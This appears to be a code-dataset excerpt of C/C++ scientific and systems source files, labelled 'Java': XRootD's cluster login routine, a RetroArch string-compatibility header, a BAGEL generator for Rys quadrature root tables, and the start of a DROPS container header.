code
stringlengths 4
1.01M
| language
stringclasses 2
values |
---|---|
/******************************************************************************/
/* */
/* X r d C m s L o g i n . c c */
/* */
/* (c) 2007 by the Board of Trustees of the Leland Stanford, Jr., University */
/* All Rights Reserved */
/* Produced by Andrew Hanushevsky for Stanford University under contract */
/* DE-AC02-76-SFO0515 with the Department of Energy */
/* */
/* This file is part of the XRootD software suite. */
/* */
/* XRootD is free software: you can redistribute it and/or modify it under */
/* the terms of the GNU Lesser General Public License as published by the */
/* Free Software Foundation, either version 3 of the License, or (at your */
/* option) any later version. */
/* */
/* XRootD is distributed in the hope that it will be useful, but WITHOUT */
/* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or */
/* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public */
/* License for more details. */
/* */
/* You should have received a copy of the GNU Lesser General Public License */
/* along with XRootD in a file called COPYING.LESSER (LGPL license) and file */
/* COPYING (GPL license). If not, see <http://www.gnu.org/licenses/>. */
/* */
/* The copyright holder's institutional names and contributor's names may not */
/* be used to endorse or promote products derived from this software without */
/* specific prior written permission of the institution or contributor. */
/******************************************************************************/
#include <netinet/in.h>
#include "XProtocol/YProtocol.hh"
#include "Xrd/XrdLink.hh"
#include "XrdCms/XrdCmsLogin.hh"
#include "XrdCms/XrdCmsParser.hh"
#include "XrdCms/XrdCmsTalk.hh"
#include "XrdCms/XrdCmsSecurity.hh"
#include "XrdCms/XrdCmsTrace.hh"
#include "XrdOuc/XrdOucPup.hh"
#include "XrdSys/XrdSysError.hh"
#include "XrdSys/XrdSysPthread.hh"
using namespace XrdCms;
/******************************************************************************/
/* Public: A d m i t */
/******************************************************************************/
int XrdCmsLogin::Admit(XrdLink *Link, CmsLoginData &Data)
{
CmsRRHdr myHdr;
CmsLoginData myData;
const char *eText, *Token;
int myDlen, Toksz;
// Get complete request
//
if ((eText = XrdCmsTalk::Attend(Link, myHdr, myBuff, myBlen, myDlen)))
return Emsg(Link, eText, 0);
// If we need to do authentication, do so now
//
if ((Token = XrdCmsSecurity::getToken(Toksz, Link->Host()))
&& !XrdCmsSecurity::Authenticate(Link, Token, Toksz)) return 0;
// Fiddle with the login data structures
//
Data.SID = Data.Paths = 0;
memset(&myData, 0, sizeof(myData));
myData.Mode = Data.Mode;
myData.HoldTime = Data.HoldTime;
myData.Version = Data.Version = kYR_Version;
// Decode the data pointers ans grab the login data
//
if (!Parser.Parse(&Data, myBuff, myBuff+myDlen))
return Emsg(Link, "invalid login data", 0);
// Do authentication now, if needed
//
if ((Token = XrdCmsSecurity::getToken(Toksz, Link->Host())))
if (!XrdCmsSecurity::Authenticate(Link, Token, Toksz)) return 0;
// Send off login reply
//
return (sendData(Link, myData) ? 0 : 1);
}
/******************************************************************************/
/* Private: E m s g */
/******************************************************************************/
int XrdCmsLogin::Emsg(XrdLink *Link, const char *msg, int ecode)
{
Say.Emsg("Login", Link->Name(), "login failed;", msg);
return ecode;
}
/******************************************************************************/
/* Public: L o g i n */
/******************************************************************************/
int XrdCmsLogin::Login(XrdLink *Link, CmsLoginData &Data, int timeout)
{
CmsRRHdr LIHdr;
char WorkBuff[4096], *hList, *wP = WorkBuff;
int n, dataLen;
// Send the data
//
if (sendData(Link, Data)) return kYR_EINVAL;
// Get the response.
//
if ((n = Link->RecvAll((char *)&LIHdr, sizeof(LIHdr), timeout)) < 0)
return Emsg(Link, (n == -ETIMEDOUT ? "timed out" : "rejected"));
// Receive and decode the response. We apparently have protocol version 2.
//
if ((dataLen = static_cast<int>(ntohs(LIHdr.datalen))))
{if (dataLen > (int)sizeof(WorkBuff))
return Emsg(Link, "login reply too long");
if (Link->RecvAll(WorkBuff, dataLen, timeout) < 0)
return Emsg(Link, "login receive error");
}
// Check if we are being asked to identify ourselves
//
if (LIHdr.rrCode == kYR_xauth)
{if (!XrdCmsSecurity::Identify(Link, LIHdr, WorkBuff, sizeof(WorkBuff)))
return kYR_EINVAL;
dataLen = static_cast<int>(ntohs(LIHdr.datalen));
if (dataLen > (int)sizeof(WorkBuff))
return Emsg(Link, "login reply too long");
}
// The response can also be a login redirect (i.e., a try request).
//
if (!(Data.Mode & CmsLoginData::kYR_director)
&& LIHdr.rrCode == kYR_try)
{if (!XrdOucPup::Unpack(&wP, wP+dataLen, &hList, n))
return Emsg(Link, "malformed try host data");
Data.Paths = (kXR_char *)strdup(n ? hList : "");
return kYR_redirect;
}
// Process error reply
//
if (LIHdr.rrCode == kYR_error)
return (dataLen < (int)sizeof(kXR_unt32)+8
? Emsg(Link, "invalid error reply")
: Emsg(Link, WorkBuff+sizeof(kXR_unt32)));
// Process normal reply
//
if (LIHdr.rrCode != kYR_login
|| !Parser.Parse(&Data, WorkBuff, WorkBuff+dataLen))
return Emsg(Link, "invalid login response");
return 0;
}
/******************************************************************************/
/* Private: s e n d D a t a */
/******************************************************************************/
int XrdCmsLogin::sendData(XrdLink *Link, CmsLoginData &Data)
{
static const int xNum = 16;
int iovcnt;
char Work[xNum*12];
struct iovec Liov[xNum];
CmsRRHdr Resp={0, kYR_login, 0, 0};
// Pack the response (ignore the auth token for now)
//
if (!(iovcnt=Parser.Pack(kYR_login,&Liov[1],&Liov[xNum],(char *)&Data,Work)))
return Emsg(Link, "too much login reply data");
// Complete I/O vector
//
Resp.datalen = Data.Size;
Liov[0].iov_base = (char *)&Resp;
Liov[0].iov_len = sizeof(Resp);
// Send off the data
//
Link->Send(Liov, iovcnt+1);
// Return success
//
return 0;
}
| Java |
/* RetroArch - A frontend for libretro.
* Copyright (C) 2010-2014 - Hans-Kristian Arntzen
*
* RetroArch is free software: you can redistribute it and/or modify it under the terms
* of the GNU General Public License as published by the Free Software Found-
* ation, either version 3 of the License, or (at your option) any later version.
*
* RetroArch is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
* PURPOSE. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with RetroArch.
* If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __RARCH_POSIX_STRING_H
#define __RARCH_POSIX_STRING_H
#ifdef _WIN32
#include "../msvc/msvc_compat.h"
#ifdef __cplusplus
extern "C" {
#endif
#undef strcasecmp
#undef strdup
#undef isblank
#undef strtok_r
#define strcasecmp(a, b) rarch_strcasecmp__(a, b)
#define strdup(orig) rarch_strdup__(orig)
#define isblank(c) rarch_isblank__(c)
#define strtok_r(str, delim, saveptr) rarch_strtok_r__(str, delim, saveptr)
int strcasecmp(const char *a, const char *b);
char *strdup(const char *orig);
int isblank(int c);
char *strtok_r(char *str, const char *delim, char **saveptr);
#ifdef __cplusplus
}
#endif
#endif
#endif
| Java |
//
// Author : Toru Shiozaki
// Date : May 2009
//
#define NGRID 12
#define MAXT 64
#define NBOX 32
#define NBOXL 0
#define T_INFTY 11
#include <sstream>
#include <iostream>
#include <iomanip>
#include <vector>
#include "mpreal.h"
#include <map>
#include <cmath>
#include <string>
#include <cassert>
#include <fstream>
#include "gmp_macros.h"
#include <boost/lexical_cast.hpp>
#include "../erirootlist.h"
extern "C" {
void dsyev_(const char*, const char*, const int*, double*, const int*, double*, double*, const int*, int*);
}
using namespace boost;
using namespace std;
using namespace mpfr;
using namespace bagel;
void rysroot_gmp(const vector<mpfr::mpreal>& ta, vector<mpfr::mpreal>& dx, vector<mpfr::mpreal>& dw, const int nrank, const int nbatch) ;
vector<mpreal> chebft(int n) {
mpfr::mpreal::set_default_prec(GMPPREC);
vector<mpreal> out(n);
const mpreal half = "0.5";
for (int k = 0; k != n; ++k) {
const mpreal y = mpfr::cos(GMPPI * (k + half) / n);
out[k] = y;
}
return out;
}
vector<vector<double>> get_C(const mpreal tbase, const mpreal stride, int rank, const bool asymp) {
mpfr::mpreal::set_default_prec(GMPPREC);
const int n = NGRID;
const mpreal zero = "0.0";
const mpreal half = "0.5";
const mpreal one = "1.0";
vector<mpreal> cheb = chebft(n);
const mpreal Tmin = tbase;
const mpreal Tmax = Tmin + stride;
const mpreal Tp = half * (Tmin + Tmax);
vector<mpreal> Tpoints(n);
for (int i = 0; i != n; ++i) {
Tpoints[i] = stride*half*cheb[i] + Tp;
}
#ifdef DAWSON
vector<mpreal> tt_infty(1); tt_infty[0] = Tmax;
vector<mpreal> dx_infty(rank);
vector<mpreal> dw_infty(rank);
if (asymp) rysroot_gmp(tt_infty, dx_infty, dw_infty, rank, 1);
#endif
vector<map<mpreal, mpreal>> table_reserve(n);
#pragma omp parallel for
for (int i = 0; i < n; ++i) {
vector<mpreal> ttt(1); ttt[0] = Tpoints[i];
vector<mpreal> dx(rank);
vector<mpreal> dw(rank);
rysroot_gmp(ttt, dx, dw, rank, 1);
// sort dx and dw using dx
#ifdef DAWSON
if (asymp) {
for (int j = 0; j != rank; ++j) {
table_reserve[i].insert(make_pair(-(1.0 - dx[j])*ttt[0]/((1.0 - dx_infty[j])*tt_infty[0]), dw[j]*ttt[0]/(dw_infty[j]*tt_infty[0])));
}
} else {
for (int j = 0; j != rank; ++j)
table_reserve[i].insert(make_pair(dx[j], dw[j]));
}
#else
for (int j = 0; j != rank; ++j)
table_reserve[i].insert(make_pair(dx[j], dw[j]));
#endif
}
vector<vector<double>> c;
for (int ii = 0; ii != rank; ++ii) {
vector<double> tc(n);
vector<double> tc2(n);
vector<mpreal> cdx, cdw;
for (int j = 0; j != n; ++j) {
auto iter = table_reserve[j].begin();
for (int i = 0; i != ii; ++i) ++iter;
cdx.push_back(iter->first);
cdw.push_back(iter->second);
}
const mpreal two = "2.0";
const mpreal half = "0.5";
const mpreal fac = two / n;
const mpreal pi = GMPPI;
for (int j = 0; j != n; ++j) {
mpreal sum = "0.0";
mpreal sum2 = "0.0";
for (int k = 0; k != n; ++k) {
sum += cdx[k] * mpfr::cos(pi * j * (k + half) / n);
sum2 += cdw[k] * mpfr::cos(pi * j * (k + half) / n);
}
tc[j] = (sum * fac).toDouble();
tc2[j] = (sum2 * fac).toDouble();
}
if (tc[n-1] > 1.0e-10 || tc2[n-1] > 1.0e-10) {
cout << " caution: cheb not converged " << ii << " " << setprecision(10) << fixed << Tmin.toDouble() << " " << Tmax.toDouble() << endl;
for (int i = 0; i != n; ++i) {
cout << setw(20) << Tpoints[i].toDouble() << setw(20) << tc[i] << setw(20) << tc2[i] << endl;
}
}
c.push_back(tc);
c.push_back(tc2);
}
return c;
}
bool test(const int nrank, const double tin) {
mpfr::mpreal::set_default_prec(GMPPREC);
const static int nsize = 1;
vector<mpreal> tt(nsize, tin);
vector<mpreal> rr(nsize*nrank);
vector<mpreal> ww(nsize*nrank);
rysroot_gmp(tt, rr, ww, nrank, nsize);
map<mpreal,mpreal> gmp;
for (int i = 0; i != nsize*nrank; ++i)
gmp.insert(make_pair(rr[i], ww[i]));
double dt[nsize] = {tt[0].toDouble()};
double dr[nsize*nrank];
double dw[nsize*nrank];
eriroot__.root(nrank, dt, dr, dw, nsize);
cout << setprecision(10) << scientific << endl;
auto iter = gmp.begin();
for (int i = 0; i != nrank*nsize; ++i, ++iter) {
cout << setw(20) << dr[i] << setw(20) << iter->first << setw(20) << fabs(dr[i] - (iter->first).toDouble()) << endl;
cout << setw(20) << dw[i] << setw(20) << iter->second << setw(20) << fabs(dw[i] - (iter->second).toDouble()) << endl;
}
iter = gmp.begin();
for (int i = 0; i != nrank; ++i, ++iter) {
if (!(fabs(dr[i] - (iter->first).toDouble()))) cout << dt[0] << endl;
//assert(fabs(dr[i] - (iter->first).toDouble()) < 1.0e-13);
//assert(fabs(dw[i] - (iter->second).toDouble()) < 1.0e-13);
}
cout << "test passed: rank" << setw(3) << nrank << endl;
cout << "----------" << endl;
}
#include <boost/lexical_cast.hpp>
int main(int argc, char** argv) {
const mpreal T_ASYM = static_cast<mpreal>(MAXT + (NBOXL)*(NBOXL + 1.0)*(2.0*NBOXL + 1.0)/6.0);
mpfr::mpreal::set_default_prec(GMPPREC);
mpfr::mpreal pi = GMPPI;
if (argc > 1) {
cout << "--- TEST---" << endl;
const string toggle = argv[1];
if (toggle == "t") {
#if 0
if (argc <= 3) assert(false);
const string low = argv[2];
const string high = argv[3];
for (int i = 0; i < 700; ++i) {
for (int n = lexical_cast<int>(low); n <= lexical_cast<int>(high); ++n) test(n, i*0.1+1.0e-10);
}
#else
test(6,1.10033333333333);
test(6,1.11133333333333);
test(6,1.12233333333333);
test(6,1.13233333333333);
test(6,1.14333333333333);
test(6,1.14333333333333e1);
test(6,0.645e2);
test(6,0.675e2);
test(6,0.805e2);
test(6,0.912e2);
test(6,1.14333333333333e2);
test(6,1.285e2);
test(6,128.000000000000);
test(6,1.31e2);
test(6,1.38e2);
test(6,2.43e2);
test(6,256.000000000000);
test(6,1.14333333333333e3);
test(6,8e3);
test(6,8192.000000000000);
test(6,1.14333333333333e4);
test(6,1.14333333333333e5);
test(6,1.14333333333333e6);
#endif
return 0;
}
}
vector<double> nbox_(52);
for (int nroot=1; nroot!=52; ++nroot) {
nbox_[nroot] = NBOX;
}
for (int nroot=1; nroot!=52; ++nroot) { // this is the outer most loop.
if (argc > 2) {
const string toggle = argv[1];
if (toggle == "-r") {
const string target = argv[2];
if (nroot != lexical_cast<int>(target)) continue;
}
}
vector<double> aroot;
vector<double> aweight;
#ifndef DAWSON
#ifndef SPIN2
#ifndef BREIT
// first obtain asymptotics
const int n=nroot*2;
double a[10000] = {0.0};
double b[100];
double c[500];
for (int i=0; i!= n; ++i) {
a[i+i*n] = 0.0;
if (i > 0) {
const double ia = static_cast<double>(i);
a[(i-1)+i*n] = std::sqrt(ia*0.5);
a[i+(i-1)*n] = std::sqrt(ia*0.5);
}
}
int nn = n*5;
int info = 0;
dsyev_("v", "U", &n, a, &n, b, c, &nn, &info);
for (int j = 0; j != nroot; ++j) {
aroot.push_back(b[nroot+j]*b[nroot+j]);
aweight.push_back(a[(nroot+j)*(nroot*2)]*a[(nroot+j)*(nroot*2)]*(sqrt(pi)).toDouble());
}
#else
const mpreal t = 1000;
const mpreal s = 2000;
vector<mpreal> dx(nroot*2);
vector<mpreal> dw(nroot*2);
vector<mpreal> tt(1, t); tt.push_back(s);
rysroot_gmp(tt, dx, dw, nroot, 2);
for (int j = 0; j != nroot; ++j) {
assert(fabs(dx[j]*t - dx[j+nroot]*s) < 1.0e-16);
assert(fabs(dw[j]*t*sqrt(t) - dw[j+nroot]*s*sqrt(s)) < 1.0e-16);
aroot.push_back((dx[j]*t).toDouble());
aweight.push_back((dw[j]*t*sqrt(t)).toDouble());
}
#endif
#else
const mpreal t = 1000;
const mpreal s = 2000;
vector<mpreal> dx(nroot*2);
vector<mpreal> dw(nroot*2);
vector<mpreal> tt(1, t); tt.push_back(s);
rysroot_gmp(tt, dx, dw, nroot, 2);
for (int j = 0; j != nroot; ++j) {
assert(fabs(dx[j]*t - dx[j+nroot]*s) < 1.0e-16);
assert(fabs(dw[j]*t*t*sqrt(t) - dw[j+nroot]*s*s*sqrt(s)) < 1.0e-16);
aroot.push_back((dx[j]*t).toDouble());
aweight.push_back((dw[j]*t*t*sqrt(t)).toDouble());
}
#endif
#else
mpreal infty;
if (T_INFTY < MAXT) {
assert (NBOXL == 0);
const int nbox0 = static_cast<int>(log(MAXT)/log(2.0));
infty = pow(2, nbox0 + T_INFTY);
} else {
infty = static_cast<mpreal>(T_INFTY);
}
vector<mpreal> tt_infty(1); tt_infty[0] = infty;
vector<mpreal> dx_infty(nroot);
vector<mpreal> dw_infty(nroot);
rysroot_gmp(tt_infty, dx_infty, dw_infty, nroot, 1);
for (int j = 0; j != nroot; ++j) {
aroot.push_back(((1.0 - dx_infty[j])*tt_infty[0]).toDouble());
aweight.push_back((dw_infty[j]*tt_infty[0]).toDouble());
}
#endif
const int ndeg = NGRID;
const int nbox = nbox_[nroot];
#ifndef DAWSON
const int jend = nbox;
#else
int jend;
if (MAXT < T_INFTY) {
jend = NBOX + NBOXL + 1;
} else {
jend = NBOX + T_INFTY;
}
#endif
const double stride = static_cast<double>(MAXT)/nbox;
const mpreal mstride = static_cast<mpreal>(MAXT)/nbox;
ofstream ofs;
#ifndef SPIN2
#ifndef BREIT
#ifndef DAWSON
const string func = "eriroot";
#else
const string func = "r2root";
#endif
#else
const string func = "breitroot";
#endif
#else
const string func = "spin2root";
#endif
string filename = "_" + func + "_" + lexical_cast<string>(nroot) + ".cc";
ofs.open(filename.c_str());
ofs << "\
//\n\
// BAGEL - Brilliantly Advanced General Electronic Structure Library\n\
// Filename: " + filename + "\n\
// Copyright (C) 2013 Toru Shiozaki\n\
//\n\
// Author: Toru Shiozaki <[email protected]>\n\
// Maintainer: Shiozaki group\n\
//\n\
// This file is part of the BAGEL package.\n\
//\n\
// This program is free software: you can redistribute it and/or modify\n\
// it under the terms of the GNU General Public License as published by\n\
// the Free Software Foundation, either version 3 of the License, or\n\
// (at your option) any later version.\n\
//\n\
// This program is distributed in the hope that it will be useful,\n\
// but WITHOUT ANY WARRANTY; without even the implied warranty of\n\
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\
// GNU General Public License for more details.\n\
//\n\
// You should have received a copy of the GNU General Public License\n\
// along with this program. If not, see <http://www.gnu.org/licenses/>.\n\
//\n\
\n\
#include <algorithm> \n\
#include <cassert>" << endl;
#ifdef BREIT
ofs << "#include <src/integral/rys/breitrootlist.h>\n\
\n\
using namespace std;\n\
using namespace bagel;\n\
\n\
void BreitRootList::" << func << nroot << "(const double* ta, double* rr, double* ww, const int n) {\n" << endl;
#else
#ifdef DAWSON
ofs << "#include <src/integral/rys/r2rootlist.h>\n\
\n\
using namespace std;\n\
using namespace bagel;\n\
\n\
void R2RootList::" << func << nroot << "(const double* ta, double* rr, double* ww, const int n) {\n" << endl;
#else
#ifdef SPIN2
ofs << "#include <src/integral/rys/spin2rootlist.h>\n\
\n\
using namespace std;\n\
using namespace bagel;\n\
\n\
void Spin2RootList::" << func << nroot << "(const double* ta, double* rr, double* ww, const int n) {\n" << endl;
#else
ofs << "#include <src/integral/rys/erirootlist.h>\n\
\n\
using namespace std;\n\
using namespace bagel;\n\
\n\
void ERIRootList::" << func << nroot << "(const double* ta, double* rr, double* ww, const int n) {\n" << endl;
#endif
#endif
#endif
ofs << "\
constexpr double ax["<<nroot<<"] = {";
for (int j=0; j!= nroot; ++j) {
ofs << scientific << setprecision(15) << setw(20) << aroot[j];
if (j != nroot-1) ofs << ",";
if (j%7 == 4) ofs << endl << " ";
}
ofs << "};" << endl;
ofs << "\
constexpr double aw["<<nroot<<"] = {";
for (int j=0; j!= nroot; ++j) {
ofs << scientific << setprecision(15) << setw(20) << aweight[j];
if (j != nroot-1) ofs << ",";
if (j%7 == 4) ofs << endl << " ";
}
ofs << "};" << endl;
////////////////////////////////////////
// now creates data
////////////////////////////////////////
stringstream listx, listw;
string indent(" ");
int nblock = 0;
int index = 0;
double tiny = 1.0e-100;
int xcnt = 0;
int wcnt = 0;
#ifdef DAWSON
const int ibox0 = static_cast<int>(log(MAXT)/log(2.0));
#endif
for (int j=0; j != jend; ++j) {
#ifndef DAWSON
vector<vector<double>> c_all = get_C(j*mstride, mstride, nroot, false);
#else
vector<vector<double>> c_all;
if (j < NBOX) {
c_all = get_C(j*mstride, mstride, nroot, false);
} else {
if (MAXT < T_INFTY) {
if (j >= NBOX && j < jend-1) { // NBOXL between MAXT and T_ASYM
const int ibox = j - NBOX;
const mpreal mstart = static_cast<mpreal> (MAXT + ibox*(ibox + 1.0)*(2.0*ibox + 1.0)/6.0);
const mpreal mstrideL = static_cast<mpreal> (ibox + 1.0)*(ibox + 1.0);
c_all = get_C(mstart, mstrideL, nroot, false);
} else {
const mpreal mstart = static_cast<mpreal> (T_ASYM);
const mpreal mstrideL = static_cast<mpreal> (infty - T_ASYM);
c_all = get_C(mstart, mstrideL, nroot, true);
}
} else {
assert(NBOXL == 0);
const int ibox = j - NBOX;
const mpreal mstart = static_cast<mpreal>(pow(2.0, ibox0 + ibox));
const mpreal mstrideL = static_cast<mpreal>(pow(2.0, ibox0 + ibox));
c_all = get_C(mstart, mstrideL, nroot, true);
}
}
#endif
for (int i = 0; i != nroot; ++i, ++index) {
const int ii = 2 * i;
const vector<double> x = c_all[ii];
const vector<double> w = c_all[ii + 1];
for (auto iter = x.begin(); iter != x.end(); ++iter) {
listx << indent << scientific << setprecision(15) << ((*iter > 0.0 || fabs(*iter) < tiny) ? " " : "") << setw(20) <<
(fabs(*iter) < tiny ? 0.0 : *iter);
if (iter + 1 != x.end() || j+1 != jend || i+1 != nroot || MAXT >= T_INFTY) listx << ",";
if (xcnt++ % 7 == 4) listx << "\n";
}
for (auto iter = w.begin(); iter != w.end(); ++iter) {
listw << indent << scientific << setprecision(15) << ((*iter > 0.0 || fabs(*iter) < tiny) ? " " : "") << setw(20) <<
(fabs(*iter) < tiny ? 0.0 : *iter);
if (iter + 1 != w.end() || j+1 != jend || i+1 != nroot || MAXT >= T_INFTY) listw << ",";
if (wcnt++ % 7 == 4) listw << "\n";
}
}
}
#ifdef DAWSON
if (MAXT >= T_INFTY) {
for (int ibox = 0; ibox != T_INFTY; ++ibox) {
vector<mpreal> tt_infty(1); tt_infty[0] = static_cast<mpreal>(pow(2.0, ibox + ibox0 + 1));
vector<mpreal> dx_infty(nroot);
vector<mpreal> dw_infty(nroot);
rysroot_gmp(tt_infty, dx_infty, dw_infty, nroot, 1);
for (auto iter = dx_infty.begin(); iter != dx_infty.end(); ++iter) {
listx << indent << scientific << setprecision(15) << ((*iter > 0.0 || fabs(*iter) < tiny) ? " " : "") << setw(20) <<
(fabs(*iter) < tiny ? 0.0 : *iter);
if (iter + 1 != dx_infty.end() || ibox + 1 != T_INFTY) listx << ",";
if (xcnt++ % 7 == 4) listx << "\n";
}
for (auto iter = dw_infty.begin(); iter != dw_infty.end(); ++iter) {
listw << indent << scientific << setprecision(15) << ((*iter > 0.0 || fabs(*iter) < tiny) ? " " : "") << setw(20) <<
(fabs(*iter) < tiny ? 0.0 : *iter);
if (iter + 1 != dw_infty.end() || ibox + 1 != T_INFTY) listw << ",";
if (wcnt++ % 7 == 4) listw << "\n";
}
}
}
#endif
#ifndef SPIN2
#ifndef BREIT
string tafactor = "t";
#else
string tafactor = "t*t*t";
#endif
#else
string tafactor = "t*t*t*t*t";
#endif
int nbox2 = 0;
#ifndef DAWSON
const int nbox1 = nbox;
#else
int nbox1;
if (MAXT < T_INFTY) {
nbox1 = nbox + NBOXL + 1;
} else {
nbox1 = nbox + T_INFTY;
nbox2 = T_INFTY;
}
#endif
ofs << "\
constexpr double x[" << nroot*nbox1*ndeg + nroot*nbox2 <<"] = {";
ofs << listx.str() << "\
};" << endl;
ofs << "\
constexpr double w[" << nroot*nbox1*ndeg + nroot*nbox2 <<"] = {";
ofs << listw.str() << "\
};" << endl;
ofs << "\
int offset = -" << nroot << ";\n";
#ifdef DAWSON
ofs << "\
const int ibox0 = static_cast<int>(log(" << MAXT << ".0) / log(2.0)); \n";
#endif
ofs << "\
for (int i = 1; i <= n; ++i) {\n\
double t = ta[i-1];\n\
offset += " << nroot << ";\n\
if (std::isnan(t)) {\n\
fill_n(rr+offset, " << nroot << ", 0.5);\n\
fill_n(ww+offset, " << nroot << ", 0.0);\n";
#ifndef DAWSON
ofs << "\
} else if (t >= " << MAXT << ".0) {\n\
t = 1.0/sqrt(t);\n\
for (int r = 0; r != " << nroot << "; ++r) {\n\
rr[offset+r] = ax[r]*t*t;\n\
ww[offset+r] = aw[r]*" + tafactor + ";\n\
}\n\
} else {\n\
assert(t >= 0);\n\
int it = static_cast<int>(t*" << setw(20) << setprecision(15) << fixed << 1.0/stride<< ");\n\
t = (t-it*" << stride << "-" << setw(20) << setprecision(15) << fixed << stride/2.0 << ") *" << setw(20) << setprecision(15) << fixed << 2.0/stride << ";\n\
\n";
#else
ofs << "\
} else if (t >= " << infty << ".0) {\n\
for (int r = 0; r != " << nroot << "; ++r) {\n\
ww[offset+r] = aw[" << nroot << "-r-1] / t;\n\
rr[offset+r] = 1.0 - ax[" << nroot << "-r-1] / t;\n\
}\n\
} else {\n\
assert(t >= 0);\n";
if (MAXT < T_INFTY) {
ofs << "\
vector<double> rr_infty(" << nroot << "); \n\
vector<double> ww_infty(" << nroot << "); \n";
for (int j = 0; j != nroot; ++j) {
ofs << "\
ww_infty[" << j << "] = " << setw(20) << setprecision(15) << fixed << dw_infty[j] << "; \n\
rr_infty[" << j << "] = " << setw(20) << setprecision(15) << fixed << dx_infty[j] << "; \n";
}
}
ofs << "\
int it; \n\
double bigT = 0.0; \n";
if (NBOXL != 0) {
ofs << "\
if (" << MAXT << ".0 <= t && t < " << T_ASYM << ".0) { \n\
int ka = static_cast<int>((pow((t - " << MAXT << ".0)*6.0, 1.0/3.0) - pow(0.25, 1.0/3.0))/pow(2.0, 1.0/3.0)); \n\
int kb = static_cast<int>((pow((t - " << MAXT << ".0)*6.0, 1.0/3.0) - pow(6.0, 1.0/3.0))/pow(2.0, 1.0/3.0)); \n\
assert(kb + 1 == ka || kb == ka); \n\
it = " << NBOX << " + ka; \n\
double a = " << MAXT << ".0 + ka * (ka + 1) * (2*ka + 1)/6.0; \n\
double b = " << MAXT << ".0 + (ka + 1) * (ka + 2) * (2*ka + 3)/6.0; \n\
t = (t - (a+b)/2) * 2/(a-b);\n\
} else if (t >= " << T_ASYM << ".0 && t < " << infty << ".0) { \n";
} else {
ofs << "\
if (t >= " << T_ASYM << ".0 && t < " << infty << ".0) { \n";
}
ofs << "\
bigT = t; \n";
if (MAXT < T_INFTY) {
ofs << "\
it = static_cast<int>(" << NBOX + NBOXL << ");\n\
t = (t - (" << T_ASYM << ".0 + " << infty << ".0)/2) * 2/(" << infty << ".0 - " << T_ASYM << ".0);\n";
} else {
ofs << "\
it = static_cast<int>(log(bigT) / log(2.0) + " << NBOX << " - ibox0);\n\
t = (t - 1.5 * pow(2.0, it + ibox0 - " << NBOX << "))* 2/pow(2.0, it + ibox0 - " << NBOX << ");\n\
cout << \" new t = \" << t << endl; \n";
}
ofs << "\
} else { \n\
it = static_cast<int>(t*" << setw(20) << setprecision(15) << fixed << 1.0/stride<< ");\n\
t = (t - it *" << stride << "-" << setw(20) << setprecision(15) << fixed << stride/2.0 << ") *" << setw(20) << setprecision(15) << fixed << 2.0/stride << ";\n\
} \n";
#endif
ofs << "\
const double t2 = t * 2.0;\n\
for (int j=1; j <=" << nroot << "; ++j) {\n\
const int boxof = it*" << ndeg*nroot << "+" << ndeg << "*(j-1);\n";
assert((ndeg/2)*2 == ndeg);
for (int i=ndeg; i!=0; --i) {
if (i==ndeg) {
ofs << "\
double d = x[boxof+" << i-1 << "];\n\
double e = w[boxof+" << i-1 << "];\n";
} else if (i==ndeg-1) {
ofs << "\
double f = t2*d + x[boxof+" << i-1 << "];\n\
double g = t2*e + w[boxof+" << i-1 << "];\n";
} else if (i != 1 && ((i/2)*2 == i)) { // odd
ofs << "\
d = t2*f - d + x[boxof+" << i-1 << "];\n\
e = t2*g - e + w[boxof+" << i-1 << "];\n";
} else if (i != 1) { // even
ofs << "\
f = t2*d - f + x[boxof+" << i-1 << "];\n\
g = t2*e - g + w[boxof+" << i-1 << "];\n";
} else {
ofs << "\
rr[offset+j-1] = t*d - f + x[boxof+" << i-1 << "]*0.5;\n\
ww[offset+j-1] = t*e - g + w[boxof+" << i-1 << "]*0.5;\n";
#ifdef DAWSON
if (MAXT < T_INFTY) {
ofs << "\
if (" << T_ASYM << ".0 <= bigT && bigT < " << infty << ".0) { \n\
ww[offset+j-1] = ww[offset+j-1] * ww_infty[" << nroot << "-j] * " << infty << ".0 / bigT;\n\
rr[offset+j-1] = 1.0 + rr[offset+j-1] * (1.0 - rr_infty[" << nroot << "-j]) * " << infty << ".0 /bigT; \n\
}\n";
} else {
ofs << "\
if (" << MAXT << ".0 <= bigT && bigT < " << infty << ".0) {\n\
const int iref = " << (NBOX + T_INFTY) * nroot * NGRID << " + (it - " << NBOX << ") * " << nroot << " + " << nroot << " - j;\n\
double rr_infty = x[iref];\n\
double ww_infty = w[iref];\n\
double Tref = pow(2.0, it + ibox0 + 1 - " << NBOX << ");\n\
ww[offset+j-1] = ww[offset+j-1] * ww_infty * Tref / bigT;\n\
rr[offset+j-1] = 1.0 + rr[offset+j-1] * (1.0 - rr_infty) * Tref /bigT;\n\
}\n";
}
#endif
}
}
ofs << "\
}\n\
}\n\
}\n\
}";
ofs.close();
}
return 0;
}
| Java |
/// \file container.h
/// \brief simple array in STL style, level-based array
/// \author LNM RWTH Aachen: Joerg Grande, Volker Reichelt; SC RWTH Aachen: Oliver Fortmeier
/*
* This file is part of DROPS.
*
* DROPS is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* DROPS is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with DROPS. If not, see <http://www.gnu.org/licenses/>.
*
*
* Copyright 2009 LNM/SC RWTH Aachen, Germany
*/
#ifndef DROPS_CONTAINER_H
#define DROPS_CONTAINER_H
#include <vector>
#include <list>
#include <cmath>
#include <iostream>
#include <valarray>
#include "misc/utils.h"
namespace DROPS
{
//**************************************************************************
// Class: DMatrixCL *
// Purpose: dynamical storage for 2D data *
// Remarks: just the bare minimum *
//**************************************************************************
template <typename T>
class DMatrixCL
{
private:
size_t Rows_, Cols_;
T* Array_;
public:
DMatrixCL(size_t row, size_t col) : Rows_(row), Cols_(col), Array_(new T[row*col]) {}
~DMatrixCL() { delete[] Array_; }
T& operator() (size_t row, size_t col) {
